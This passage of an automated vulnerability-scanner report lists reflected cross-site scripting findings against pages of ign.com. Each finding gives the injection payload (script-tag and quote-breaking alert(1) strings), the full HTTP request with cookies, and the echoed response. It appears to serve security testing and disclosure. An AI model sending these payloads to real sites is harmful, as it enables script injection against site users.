Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:09:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044592186v-3n-12mc+1297044592186mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 171039

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Video Games, T
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/upcoming.html?18897"-alert(1)-"3c7c1b087ca=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.597. http://www.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a15bf"><script>alert(1)</script>25c575d1a5f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?a15bf"><script>alert(1)</script>25c575d1a5f=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:09:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:09:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044578841v-3n-12mc+1297044578841mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 166421

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Video Games, T
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/upcoming.html?a15bf"><script>alert(1)</script>25c575d1a5f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.598. http://www.ign.com/news-tips.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/news-tips.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a003e"-alert(1)-"9fcf045712 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /news-tips.html?a003e"-alert(1)-"9fcf045712=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:11:00 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:00 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044659884v-3n-12mc+1297044659884mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 72316

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>News Tips</title>
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/news-tips.html?a003e"-alert(1)-"9fcf045712=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.599. http://www.ign.com/news-tips.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/news-tips.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abcd8"><script>alert(1)</script>43a1855a54b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news-tips.html?abcd8"><script>alert(1)</script>43a1855a54b=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:58 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:58 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044658406v-3n-12mc+1297044658406mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 72377

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>News Tips</title>
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/news-tips.html?abcd8"><script>alert(1)</script>43a1855a54b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.600. http://www.ign.com/videogame-villains/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videogame-villains/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7d03d"-alert(1)-"113f4a21c68 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videogame-villains/?7d03d"-alert(1)-"113f4a21c68=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:11:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044666598v-3n-12mc+1297044666598mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 84598

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Top 100 Videogame V
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/videogame-villains/?7d03d"-alert(1)-"113f4a21c68=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.601. http://www.ign.com/videogame-villains/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videogame-villains/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42403"><script>alert(1)</script>43fa489bf3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videogame-villains/?42403"><script>alert(1)</script>43fa489bf3a=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:11:05 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:05 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044665211v-3n-12mc+1297044665211mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 84628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Top 100 Videogame V
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/videogame-villains/?42403"><script>alert(1)</script>43fa489bf3a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.602. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e2a1'-alert(1)-'f9270e25995 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/20104e2a1'-alert(1)-'f9270e25995/12/16/portal-2-co-op-trailer-2 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=c9a22b6a970a5fc74f36d5782d4c1d05; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
("#nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/20104e2a1'-alert(1)-'f9270e25995/12/16/portal-2-co-op-trailer-2';
   }
   </script>
...[SNIP]...

3.603. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a1377'-alert(1)-'ef30a5f478b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2010/12a1377'-alert(1)-'ef30a5f478b/16/portal-2-co-op-trailer-2 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1a486627790832e9109d8d7d6cbbf2e5; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f102145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
nav-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2010/12a1377'-alert(1)-'ef30a5f478b/16/portal-2-co-op-trailer-2';
   }
   </script>
...[SNIP]...

3.604. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9cca4'-alert(1)-'1f88d82626b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2010/12/169cca4'-alert(1)-'1f88d82626b/portal-2-co-op-trailer-2 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=720db1e5eb80bbb1bd0231f4552f9bd5; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 45010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
-item-news .list-title").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2010/12/169cca4'-alert(1)-'1f88d82626b/portal-2-co-op-trailer-2';
   }
   </script>
...[SNIP]...

3.605. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 40acb'-alert(1)-'2b74112f910 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2010/12/16/portal-2-co-op-trailer-240acb'-alert(1)-'2b74112f910 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:50 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:50 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=304cf07759897e67f8fd00f5aabd9868; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f100e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44523

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-240acb'-alert(1)-'2b74112f910';
   }
   </script>
...[SNIP]...

3.606. http://www.ign.com/videos/2010/12/16/portal-2-co-op-trailer-2 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2010/12/16/portal-2-co-op-trailer-2

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c188d<script>alert(1)</script>0f44ec739a3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2010/12/16/portal-2-co-op-trailer-2?c188d<script>alert(1)</script>0f44ec739a3=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:55 GMT
